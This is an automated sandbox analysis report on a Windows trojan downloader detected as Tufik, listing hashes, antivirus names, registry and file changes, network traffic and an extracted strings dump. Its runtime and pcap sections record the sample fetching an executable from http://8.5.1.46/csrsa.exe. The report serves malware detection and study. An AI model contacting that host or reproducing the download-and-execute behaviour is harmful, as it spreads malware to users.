Analysis Date2015-01-20 16:55:18
MD565ab6eea7fb0c5066435633b7aa08bab
SHA1f1d465ad7fe794f7bc5075f27cd7f207e3220dfe

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: e8ab3e3f0fd7ec84d53bea5ddb714654 sha1: 325eb4ff1ed51064584364f053fdcb93aaaf7b25 size: 222208
Section.rdata md5: 6a67fd1d183e61064f5d2d9127204a50 sha1: ae37b6c4ae336d7b71c310a7f2ab00af03379c13 size: 44032
Section.data md5: 24fd7e7c0cf4db9b7ddc39c13b4a2345 sha1: 9ed933e3aca7aedd82c6abb419e4efeca15fdbeb size: 5632
Section.rsrc md5: de758b7bdadc08292b9c1364a5081583 sha1: 77669e4c43073235a4b68a8c25a305f099753675 size: 512
Section.reloc md5: 669419e820c280cc4edaba2ea33857ff sha1: 2eb06ad2e670d8fb452349454dbd0d11284e68c2 size: 12288
Section.text md5: 6b4d92e098cce5eac7f656b545c25318 sha1: 110568772ddcbc6f98f2004fb501054718d481c1 size: 5120
Timestamp2013-12-27 09:34:53
Pdb pathC:\projects\kanbox\client\download_lib_vc9\download_wangwang\branches\1.0.1\Release\KBDownloader.pdb
PEhash2db9c75f3cbf98e5c5e7396287bc5e5c6b6a0262
IMPhash3a66676f7cb690f41a337f5e4996f9bf
AV360 SafeVirus.Win32.TuFik.C
AVAd-AwareWin32.Tufik.P
AVAlwil (avast)Tufik:Win32:Tufik
AVArcabit (arcavir)Win32.Tufik.P
AVAuthentiumW32/Tufik.A.gen!Eldorado
AVAvira (antivir)TR/Dldr.Genome.agor
AVBullGuardWin32.Tufik.P
AVCA (E-Trust Ino)Win32/tufik.J
AVCAT (quickheal)W32.Tufik.gen
AVClamAVTrojan.Downloader-98394
AVDr. WebTrojan.DownLoader.4268
AVEmsisoftWin32.Tufik.P
AVEset (nod32)Win32/Tufik.NAA virus
AVFortinetW32/Fujacks.BF!tr
AVFrisk (f-prot)W32/Tufik.A.gen!Eldorado
AVF-SecureWin32.Tufik.P
AVGrisoft (avg)Win32/Tufik.A
AVIkarusVirus.Win32.Tufik
AVK7Trojan-Downloader ( 00132cab1 )
AVKasperskyVirus.Win32.Pioneer.ak
AVMalwareBytesno_virus
AVMcafeeW32/Tufik
AVMicrosoft Security EssentialsVirus:Win32/Tufik.D
AVMicroWorld (escan)Win32.Tufik.P
AVRisingWin32.Tufik.p
AVSophosW32/Tufik-Fam
AVSymantecW32.Tufik.B!inf
AVTrend MicroPE_TUFIK.JK-1
AVVirusBlokAda (vba32)Virus.Expiro.ad

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FilePIPE\lsarpc
Creates FileC:\Documents and Settings\All Users\Application Data\Kanbox Network\Kanbox\KBInstall.gz
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates Mutexopen
Winsock DNSdl.kanbox.com
Winsock DNS8.5.1.46
Winsock URLhttp://8.5.1.46/csrsa.exe

Network Details:

DNS85773.com
Type: A
8.5.1.46
DNSkanbox-download.cn-hangzhou.oss.aliyun-inc.com
Type: A
42.120.158.89
DNSdl.kanbox.com
Type: A
HTTP GEThttp://8.5.1.46/csrsa.exe
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
HTTP GEThttp://dl.kanbox.com/download
User-Agent:
Flows TCP192.168.1.1:1033 ➝ 8.5.1.46:80
Flows TCP192.168.1.1:1034 ➝ 42.120.158.89:80

Raw Pcap
0x00000000 (00000)   47455420 2f637372 73612e65 78652048   GET /csrsa.exe H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a4163 63657074 2d456e63    */*..Accept-Enc
0x00000030 (00048)   6f64696e 673a2067 7a69702c 20646566   oding: gzip, def
0x00000040 (00064)   6c617465 0d0a5573 65722d41 67656e74   late..User-Agent
0x00000050 (00080)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000060 (00096)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000070 (00112)   362e303b 2057696e 646f7773 204e5420   6.0; Windows NT 
0x00000080 (00128)   352e313b 20535631 3b202e4e 45542043   5.1; SV1; .NET C
0x00000090 (00144)   4c522032 2e302e35 30373237 290d0a48   LR 2.0.50727)..H
0x000000a0 (00160)   6f73743a 20382e35 2e312e34 360d0a43   ost: 8.5.1.46..C
0x000000b0 (00176)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000c0 (00192)   416c6976 650d0a0d 0a                  Alive....

0x00000000 (00000)   47455420 2f646f77 6e6c6f61 64204854   GET /download HT
0x00000010 (00016)   54502f31 2e310d0a 486f7374 3a20646c   TP/1.1..Host: dl
0x00000020 (00032)   2e6b616e 626f782e 636f6d0d 0a416363   .kanbox.com..Acc
0x00000030 (00048)   6570743a 202a2f2a 0d0a0d0a 20646566   ept: */*.... def
0x00000040 (00064)   6c617465 0d0a5573 65722d41 67656e74   late..User-Agent
0x00000050 (00080)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000060 (00096)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000070 (00112)   362e303b 2057696e 646f7773 204e5420   6.0; Windows NT 
0x00000080 (00128)   352e313b 20535631 3b202e4e 45542043   5.1; SV1; .NET C
0x00000090 (00144)   4c522032 2e302e35 30373237 290d0a48   LR 2.0.50727)..H
0x000000a0 (00160)   6f73743a 20382e35 2e312e34 360d0a43   ost: 8.5.1.46..C
0x000000b0 (00176)   6f6e6e65 6374696f 6e3a204b 6565702d   onnection: Keep-
0x000000c0 (00192)   416c6976 650d0a0d 0a                  Alive....


Strings
/
/
00-+ #
lf
:
%20+
/
\
\
/
/
\
..@
`@
CC
.
 
.
-e-
. 
-E-
-0
-0010+-0
0
-0
00-+ .
00:\
:..
...........?- 
0
0
0
0
.u
!1Aa
#+3;CScs
$AliWangWang Modul
C8D(D
E(null)
                                 H
         (((((                  H
         h((((                  H
jjjjj
\Kanbox\
\Kanbox Network
KBInstall.exe
KBInstall.gz
KERNEL32.DLL
mscoree.dll
runas
= =@=\=`=
                          
 !"#$%&'()...................*+,.......-
--:--:--
; ;@;`;
: :@:`:
:]://%[^
? ?$?(?,?
/?]%[^
.......
..........
"+^ +]
								
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
0,000@0D0X0h0l0p0
*0004080<0
0'0.090L0
0#0(0I0N0
0 0,0L0X0x0
0)0D0d0
&0@0O0{0
0123456789
0123456789abcdefghijklmnopqrstuvwxyz
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
%02d:%02d
%02d:%02d:%02d
>!>(>,>0>4>8><>@>D>
> >$>(?,?0?4?8?<?@?D?H?L?P?T?
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
060N0f0~0
?$?0?8?x?
------------------------%08x%08x
%08x%08x%08x%08x
0A@@Ju
<0=d>}>
0H0c0~0
0h6l6p6t6x6|6
>0N0k0(161=1N1I2~2
0SSSSS
?0?V?|?
0WWWWW
100-continue
102;2?2D2
%1023[^;
1!1&1,1=1B1O1W1f1m1z1
1&1>1V1n1
1!141c1p1
1!161f1
1:1K1\1m1~1
121D1Z1p1
1$2(2,2024282<2@2D2H2L2P2T2X2\2`2
1"2@2M2T2^2
1}2F3w3
140313053635Z0#
1#434C4
%15[^:]:%[^
%15[^?&/:]://%c
;1;A;M;r<
1d2u2e3
1M1a1f1k1
1#QNAN
1#SNAN
,2024282<2H2L2
2+202:2H2
2$2*21272>2D2L2S2X2`2i2u2z2
2!2'2P2|2
223p3~3
2"242J2V2
2.2F2^2v2
2?2X2_2g2l2p2t2
2'3,3=3B3N3
2\3`3p3t3x3
2$3=3V3t3
2.393[3
2#3d3k3p3u3|3
2^3e3k3
243J3Q5
%255[^:]:%d:%255s
272\2y2
:2:B:[:b:
<2=d=p=
:2;=;G;X;c;
%2lld:%02lld:%02lld
%2lld.%0lldG
%2lld.%0lldM
2Terms of use at https://www.verisign.com/rpa (c)101.0,
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
3 3$3(3,3034383<3@3D3H3L3P3T3X3
3/3?3K3W3s3
3 3$3X4\4`4d4h4l4p4t4x4|4
3"3B3H3d3
3'3G3g3{3
3%404l4u4
3)4/4Q4
3)454?4
363N3z3
374A4Y4`4j4r4
?#?'?+?/?3?7?;???L?
?,?3?8?<?@?a?
3d4/6\6|6
3G4N4X4
3I4&5h5b6
%3lldd %02lldh
%3lld %s  %3lld %s  %3lld %s  %s  %s %s %s %s %s
3N3T3X3\3`3
]4_^][
4%404E4L4R4h4
4,424;4B4d4
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|4
4 484H4L4\4`4p4t4|4
4!4K4}4
[%*45[0123456789abcdefABCDEF:.]%c
4.545<5I5]5t5
4%5;5T5
4=5i6r6
464u4#5=5f5{5
474D4P4\4s4
 =]=%4999[^;
4B5M5Z5d5k5
4G5L5R5V5\5`5f5j5p5t5y5
%4lldG
%4lldk
%4lldM
%4lldP
%4lldT
4R4x5A6Q6
=?>5?=?
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
5,5<5@5H5`5
5#595D5^5j5r5
5*6:6Z6
5<6O6k6}6
5 6V6g6
5>8L8R8l8q8
=+=/=5=9=?=C=I=M=S=W=
5C6T6F<o<~<
>$>5>;>F>P>V>b>q>w>
5H5[5p5
5L6R6^6m6
5U5|5F7
=5=x=~=
5X6b6o6
5Y5a5m5z5
6$6,646<6D6L6T6\6d6l6t6|6
6 6$6(6,6064686<6@6D6
6 6$6(6,6064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
6#6*677
6 6,6i6r6~6
6$686@6H6P6\6|6
6,6D6Y6J7
6)6T6n6
6W7]7m7
6X7]7o7
;#;*;/;7;
72:Y:f:d<X=
7#757<7B7T7\7g7
7*7/757T7l7
7 7$7(7,7074787<7@7D7H7L7P7T7084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
7#7-7F7P7c7
7(7H7h7
7'7I7T7
7#8/858;8A8c9
7	8#8=8W8q8
7$8<8E8
7 8E8j8}8
797S7m7
:<;7<I<N<S<i<
%7lldd
:':/:7:N:g:
>7?P?t?
?7?R?l?
7S7k7v7
7W8]8w8
8+828J8u8|8
888C8f8
8$8(8H8T8p8
8)8;8M8_8q8
8(9H9T9o9
8J8a8h8{8
<	=8=K=f=
=+>8>Q>o>
8S9b9q9
8[uxh,
8VVVVV
91<:<~<
9 :3:Q:e:
|$ 9|$4t
989D9`9|9
9"979A9g9
9&9,969=9Q9X9^9l9s9x9
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
9*9>9R9b9p9
9.9D9V9\9q9
9,9U9f9
;9;b;t;~;
;9<B>W>
9D$8t&
:9:D:P:X:g:
9h:l:p:t:x:|:
9~Ht"j
9L$(| 
9L9P9T9X97:^:
\$ 9l$dr
9l$ u)
9l$ uY
9n<tU9l$
\$ 9t$dr
9\$ te
;9t$Hr
~(9~$u
9u4u	9s4
9V9\9b9h9n9t9{9
9VHt_j
:.;\;a;
a0j0p0
>*>/>A>a>f>
AAFFf;
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
About to connect() to %s%s port %ld (#%ld)
Accept:
Accept: */*
Accept-Encoding:
Accept-Encoding: %s
Added %s:%d:%s to DNS cache
Adding handle: conn: %p
Adding handle: recv: %d
Adding handle: send: %d
Address already in use
Address family not supported
Address not available
ADVAPI32.dll
After %ldms connect time, move on!
algorithm
all_proxy
ALL_PROXY
AlRB0	
An application has made an attempt to load the C runtime library incorrectly.
anonymous
application/xml
Arg list too long
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<at9<rt,<wt
<At]<DtY<ItU
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
Aushlwapi
AuStrStrIA
Authentication problem. Ignoring this.
auth-int
Authorization:
.?AVbad_alloc@std@@
.?AVbad_exception@std@@
.?AVexception@std@@
.?AVlength_error@std@@
.?AVlogic_error@std@@
Avoided giant realloc for header (max is %d)!
.?AVout_of_range@std@@
.?AVtype_info@@
B8VCSUP
Bad access
Bad address
bad allocation
Bad argument
bad exception
Bad file
Bad file descriptor
Bad message size
Bad protocol
Bad quota
 Base Class Array'
 Base Class Descriptor at (
__based(
bind failed with errno %d: %s
Bind to local port %hu failed, trying next
Blocking call in progress
Broken pipe
B.text 
buffer error
Callback aborted
Call interrupted
Call would block
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.
Can't complete SOCKS5 connection to %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%d. (%d)
Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)
Can't complete SOCKS5 connection to %s:%d. (%d)
%c%c==
%c%c%c=
%c%c%c%c
__cdecl
chunked
chunk reading DONE
Chunky upload is not supported by HTTP 1.0
:!:':-:C:J:
 Class Hierarchy Descriptor'
CloseHandle
Closing connection %ld
__clrcall
=/===C=N=Z=o=v=
CompareStringA
CompareStringW
 Complete Object Locator'
compress
CONNECT
Connected to %s (%s) port %ld (#%ld)
Connection
Connection:
Connection cache is full, closing the oldest one.
Connection died, retrying a fresh connect
Connection failed
Connection #%ld isn't open enough, can't reuse
Connection #%ld is still name resolving, can't reuse
Connection %ld seems to be dead!
Connection #%ld to host %s left intact
Connection refused
Connection timed out after %ld milliseconds
Connection time-out
Connection was aborted
Connection was reset
CONNECT responded chunked
CONNECT %s HTTP/%s
connect() timed out!
Conn: %ld (%p) Receive pipe weight: (%lld/%zu), penalized: %s
- Conn %ld (%p) send_pipe: %zu, recv_pipe: %zu
CONOUT$
Content-Disposition: attachment
Content-Disposition: form-data; name="
Content-Encoding:
Content-Length
Content-Length:
Content-Length: 0
Content-Length: %lld
Content-Range:
Content-Range: bytes 0-%lld/%lld
Content-Range: bytes %s/%lld
Content-Range: bytes %s%lld/%lld
Content-Type:
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data
Content-Type: multipart/mixed, boundary=%s
Content-Type: %s
Cookie:
Cookie: 
`copy constructor closure'
CorExitProcess
Could not get Content-Type header line!
Could not resolve %s: %s
Could not seek stream
Could not set TCP_NODELAY: %s
Couldn't bind to interface '%s'
Couldn't bind to '%s'
couldn't connect to %s at %s:%ld
Couldn't find host %s in the _netrc file; using defaults
couldn't open file "%s"
Couldn't resolve host '%s'
Couldn't resolve proxy '%s'
Could only read %lld bytes from the input
CreateFileA
CreateFileW
CreateThread
- CRT not initialized
CryptAcquireContextA
CryptCreateHash
CryptDestroyHash
CryptGetHashParam
CryptHashData
CryptReleaseContext
Curl_addHandleToPipeline: length: %d
CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!
C@UVWP
D$ _^]
D$0^][_
d41d8cd98f00b204e9800998ecf8427e
D$49t$Hs
D$4PWV
D$4QRPh
D$4QRPh(
|$D9t$Hs
@.data
data error
;(;D;b;h;^<o<
D$ )D$
D$(+D$
D$,+D$0
%d.%d.%d.%d
dddd, MMMM dd, yyyy
D$DPWS
D$dRPhd
December
DecodePointer
`default constructor closure'
deflate
 deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly 
 delete
 delete[]
DeleteCriticalSection
Descriptor is not a socket
+D$ H;
Digest
Directory not empty
Disables POST, goes with %s
Disconnected
                                 Dload  Upload   Total   Spent    Left  Speed
D$lPQR
D$LQRP
D$LSUV
D$NPWS
domain
Domain error
DOMAIN error
Done waiting for 100-continue
D$(Ph<
D$<PhL
D$ PSU
D$(PSU
D$ PSWVRQh
D$ QRhp
D$<QRP
D$(QRWP
D$<RPht
D$ RPQ
D$`RPSQ
D$@SPUh
D$$SUVW
D$<SVW
D$Tt*;
D$(VhH
D$xSUVW
`dynamic atexit destructor for '
`dynamic initializer for '
\$ @;E4
easy handled already used in multi handle
>)>E>d>{>
`eh vector constructor iterator'
`eh vector copy constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`eh vector vbase copy constructor iterator'
:E:L:l:
Empty reply from server
EncodePointer
EnterCriticalSection
E:\projects\kanbox\client\download_lib_vc9\download_wangwang\branches\1.0.1\Release\KBDownloader.pdb
Establish HTTP proxy tunnel to %s:%hu
ewh/?y
Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)
Excess found in a non pipelined read: excess = %zu, size = %lld, maxdownload = %lld, bytecount = %lld
Exec format error
ExitProcess
ExitThread
ExpandEnvironmentStringsA
Expect:
Expect: 100-continue
expires
F<9;t0V
Failed connect to %s:%ld; %s
Failed sending CONNECT to proxy
Failed sending HTTP POST request
Failed sending HTTP request
Failed sending POST request
Failed sending PUT request
Failed to alloc memory for big header!
Failed to alloc scratch buffer!
Failed to connect to %s: %s
Failed to receive SOCKS4 connect request ack.
Failed to receive SOCKS5 connect request ack.
Failed to resolve "%s" for SOCKS4 connect.
Failed to resolve "%s" for SOCKS5 connect.
Failed to send SOCKS4 connect request.
Failed to send SOCKS5 connect request.
Failed to send SOCKS5 sub-negotiation request.
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d
Failed to set SO_KEEPALIVE on fd %d
Failed writing body (%zu != %zu)
Failed writing data
Failed writing header
__fastcall
# Fatal libcurl error
February
(f@f;F
F\+F`P
FhQRPj
File already completely uploaded
file error
File exists
; filename="%s"
Filename too long
FileTimeToLocalFileTime
FileTimeToSystemTime
File too large
FindClose
FindFirstFileA
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
FlushFileBuffers
:F>M>e>x>
FormatMessageA
Found bundle for host %s: %p
Found connection %ld, with requests in the pipe (%zu)
freeaddrinfo
FreeEnvironmentStringsW
Friday
ftp://
ftp@example.com
ftp://%s:%s@%s
^F<-uB
Function not implemented
?.?F?^?v?
?+?F?X?b?m?z?
G$]_^[
GAIsProcessorFeaturePresent
GD)_p)_l
GetACP
GetActiveWindow
getaddrinfo
getaddrinfo() failed for %s:%d; %s
GetCommandLineW
GetConsoleCP
GetConsoleMode
GetConsoleOutputCP
GetCPInfo
GetCurrentDirectoryA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetDriveTypeA
GetEnvironmentStringsW
GetFileInformationByHandle
GetFileSize
GetFileType
GetFullPathNameA
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetModuleFileNameA
GetModuleFileNameW
GetModuleHandleA
GetModuleHandleW
GetOEMCP
getpeername() failed with errno %d: %s
GetProcAddress
GetProcessHeap
GetProcessWindowStation
getsockname() failed with errno %d: %s
GetStartupInfoA
GetStartupInfoW
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemTimeAsFileTime
GetTickCount
GetTimeZoneInformation
GetUserObjectInformationA
GetVersionExA
GetVersionExW
Gh9Ghr
`h````
H*0"ZOW
>(>H>d>h>p>
Header
header crc mismatch
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
`h`hhh
HH:mm:ss
HHtXHHt
<@<H<L<d<h<
;%<h<n<
Host down
Host not found
Host not found, try again
Host: %s
Host: %s%s%s
Host: %s%s%s:%hu
Host unreachable
HTTP 1.0, assume close after body
HTTP/1.0 connection set to keep alive!
HTTP/1.0 proxy connection set to keep alive!
HTTP/1.1 proxy connection set close!
HTTP/1.%d %d
 HTTP %3d
# http://curl.haxx.se/docs/http-cookies.html
 HTTP/%d.%d %3d
http://dl.kanbox.com/download
HTTP error before end of send, stop sending
httponly
#HttpOnly_
http_proxy
HTTP server doesn't seem to support byte ranges. Cannot resume.
http://www.taobao.com 0
%hu.%hu.%hu.%hu
identity
IDN support not present, can't parse Unicode domains
>If90t
If-Modified-Since: %s
If-Unmodified-Since: %s
Ignore %lld bytes of response-body
Ignoring duplicate digest auth header.
Ignoring the response-body
:I;h;r;$<G<
IiGM>nw
Illegal byte sequence
image/gif
image/jpeg
Improper link
Inappropriate I/O control operation
incompatible version
incorrect data check
incorrect header check
incorrect length check
 inflate 1.2.3 Copyright 1995-2005 Mark Adler 
InitializeCriticalSection
InitializeCriticalSectionAndSpinCount
init_resolve_thread() failed for %s; %s
Input/output error
In state %d with no easy_conn, bail out!
insufficient memory
InterlockedDecrement
InterlockedIncrement
Internal error clearing splay node = %d
Internal error removing splay node = %d
Internal HTTP POST error!
Interrupted function call
Invalid argument
Invalid arguments
invalid bit length repeat
invalid block type
invalid code lengths set
invalid distance code
invalid distances set
invalid distance too far back
Invalid IPv6 address format
invalid literal/length code
invalid literal/lengths set
Invalid seek
invalid stored block lengths
invalid string position
Invalid TIMEVALUE
invalid window size
ioctl callback returned error %d
Is a directory
IsDebuggerPresent
Issue another request to this URL: '%s'
IsValidCodePage
JanFebMarAprMayJunJulAugSepOctNovDec
January
JJJJJJJJJJJJJJJJJ
 !"JJJ#J$J%JJ&J'()JJJJJJJJJJJJJ*JJJJJJJJJJJJ+JJ,-JJJJJJJJJJJ.J/JJJJJJJJJJJJJJ01JJ234JJ56789JJJJJJJJ:;JJ<=>JJ?JJJJJ@ABJJJJJCJDJJJJJEJJFGHI
j@j ^V
j"^SSSSS
?(?K?`?
keep-alive
Keep sending data to get tossed away!
KERNEL32
KERNEL32.dll
L$ _^]
l0u0{0
L$<_^][3
L$ _^3
L$$_^][3
L$$_]3
L$4;D$Ts<)D$T
L$8QhP
L$,9l$
L$(9ODv
Last-Modified:
Last-Modified: %s
l!;b	F
LCMapStringA
LCMapStringW
L$DQUW
LeaveCriticalSection
Leftovers after chunking: %zu bytes
L$HPQj
l$HVWj
L$(+L$
L$LQhl
L$lSUVW
[-&LMb#{'
LoadLibraryA
Local Interface %s is ip %s using address family %i
Local port: %hu
`local static guard'
`local static thread guard'
`local vftable'
`local vftable constructor closure'
Location:
Loop??
L$p_^][3
L$P^][3
L$PRPh(
L$ Qh0
L$<QhD
L$@QhD
L$ Qhl
L$ Qj"
L$\QPh
L$(QPS
L$ QPSRW
+L$(QRPS
+L$ QS
L$<QVU
L$,QWU
L$(RPhp
L$<RPQ
L$ SQRP
lstrcatW
lstrcpyW
;l$TsY)l$T
;L$ ui
L$ UQh
l$|URQ
l$ VW3
L$(Wh\
l$XWUhL
machine
`managed vector constructor iterator'
`managed vector copy constructor iterator'
`managed vector destructor iterator'
max-age
Maximum file size exceeded
Maximum (%ld) redirects followed
MD5-sess
memory shortage
MessageBoxA
Microsoft Visual C++ Runtime Library
mj>zjZ
MM/dd/yy
Monday
MultiByteToWideChar
=!>@>n?
Name '%s' family %i resolved to '%s' family %i
Name too long
necessary data rewind wasn't possible
Need destination address
need dictionary
Negative content-length: %lld, closing after transfer
_netrc
# Netscape HTTP Cookie File
Network down
Network has been reset
Network unreachable
 new[]
njuLoadLibraryA
No authentication method was acceptable.
No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)
No buffer space
No child processes
no chunk, no close, no size. Assume close to signal end
No connections available.
No data record of requested type
No error
No locks available
<no protocol>
no_proxy
NO_PROXY
No space left on device
No such device
No such device or address
No such file or directory
No such process
Not a directory
Not empty
Not enough space
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
No URL set!
November
NTLM send, close instead of sending %lld bytes
(null)
October
Oh;O\sK
O@;H s
O@;H(s
`omni callsig'
opaque
operation aborted by callback
Operation not permitted
Operation not supported
Operation timed out after %ld milliseconds with %lld bytes received
Operation timed out after %ld milliseconds with %lld out of %lld bytes received
Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds
operator
Out of file descriptors
OZw3(?
:	:-:P:
P6T6X6\6d6t6
@PAQBR
__pascal
password
PathIsDirectoryW
PeekNamedPipe
Permission denied
Pf95(QD
Pipe broke: handle 0x%p, url = %s
`placement delete closure'
`placement delete[] closure'
Please contact the application's support team for more information.
Port number too large: %lu
PPPPPPPP
Problem (%d) in the Chunked-Encoded data
Process limit reached
Program: 
<program name unknown>
Protocol family not supported
Protocol is unsupported
Protocol option is unsupported
Protocol %s not supported or disabled in libcurl
_proxy
proxy 
Proxy-
Proxy-authenticate:
Proxy-authorization:
Proxy CONNECT aborted
Proxy CONNECT aborted due to select/poll error
Proxy CONNECT aborted due to timeout
Proxy CONNECT followed by %zd bytes of opaque data. Data ignored (known bug #39)
Proxy-Connection:
Proxy-Connection: Keep-Alive
Proxy replied OK to CONNECT request
__ptr64
- pure virtual function call
Qkkbal
QQ.exe
QQSVWd
QQSVWh
QRPWhX
QSUWjDj
QueryPerformanceCounter
RaiseException
Range:
Range: bytes=%s
`.rdata
ReadFile
read function returned funny value
Read-only file system
Read %zd bytes of chunk, continue
Rebuilt URL to: %s
Received HTTP code %d from proxy after CONNECT
Received invalid version in initial SOCKS5 response.
Recv failure: %s
Recycler
Referer:
Referer: %s
@.reloc
Remote error
Replaced
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
      <requestedPrivileges>
Resolve %s found illegal!
Resolving timed out after %ld milliseconds
Resource deadlock avoided
Resource device
Resource temporarily unavailable
__restrict
Result too large
** Resuming transfer from byte position %lld
Re-used connection seems dead, get a new one
Re-using existing connection! (#%ld) with host %s
Rewinding stream by : %zd bytes on url %s (zero-length body)
Rewinding stream by : %zu bytes on url %s (size = %lld, maxdownload = %lld, bytecount = %lld, nread = %zd)
Rewinding %zu bytes
Rewind stream after send
>R>g>l>s>u?
RtlUnwind
 RTSP/%d.%d %3d
runtime error 
Runtime Error!
;R;X;i;
--%s--
%s, %02d %s %4d %02d:%02d:%02d GMT
;\$$s8
sa_addr inet_ntop() failed with errno %d: %s
%s, algorithm="%s"
Saturday
%sAuthorization: Basic %s
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", cnonce="%s", nc=%08x, qop=%s, response="%s"
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%s", response="%s"
%s auth using %s with user '%s'
%s; boundary=%s
`scalar deleting destructor'
%s cookie %s="%s" for domain %s, path %s, expire %lld
secure
    </security>
    <security>
seek callback returned error %d
select/poll returned error
Send failure: %s
September
Server
Server:
Server doesn't support pipelining
Server %s is blacklisted
Server %s is not blacklisted
Set-Cookie:
SetEndOfFile
SetEnvironmentVariableA
SetFilePointer
SetHandleCount
SetLastError
SetStdHandle
SetUnhandledExceptionFilter
shell32
SHELL32.dll
ShellExecuteExW
SHFileOperationW
SHGetSpecialFolderPathW
SHLWAPI.dll
%s HTTP/%s
%s:%hu
Simulate a HTTP 304 response!
SING error
Site %s:%d is pipeline blacklisted
skipped cookie with bad tailmatch domain: %s
SleepEx
Socket has been shut down
Socket is already connected
Socket is not connected
Socket is unsupported
socks4
socks4a
SOCKS4 reply has wrong version, version should be 4.
SOCKS4%s request granted.
socks5
SOCKS5: connection timeout
SOCKS5: error occurred during connection
SOCKS5 GSSAPI per-message authentication is not supported.
socks5h
SOCKS5: no connection here
SOCKS5 nothing to read
SOCKS5 read error occurred
SOCKS5 read timeout
SOCKS5 reply has wrong version, version should be 5.
SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=%zu]
Something is stale
%s, opaque="%s"
%s://%s
%s:%.*s
%s:%s:%08x:%s:%s:%s
s[S;7|G;w
ssloc inet_ntop() failed with errno %d: %s
ssrem inet_ntop() failed with errno %d: %s
[%s %s %s]
%s:%s:%s
%s%s=%s
%s%s%s
%s%s%s:%hu
%s%s%s%s
%s://%s%s%s:%hu%s%s%s
^SSSSS
%s%s%s	%s	%s	%s	%lld	%s	%s
%s%s%s%s%s%s%s%s%s%s%s
__stdcall
stream end
stream error
`string'
string too long
Sunday
SunMonTueWedThuFriSat
Symantec Corporation100.
'Symantec Time Stamping Services CA - G2
t\_^][
T$ _^]
T$@+\$(
T$49t$xr
@@ t69
>/t6j/V
T$8QRV
t	9|$ 
t$,9|$8t
t=9t$Hr
T9t$HsN
TCP_NODELAY set
T$DQRh`
T$DRUW
T$DRWS
tehSpB
TerminateProcess
.text 
text/html
text/plain
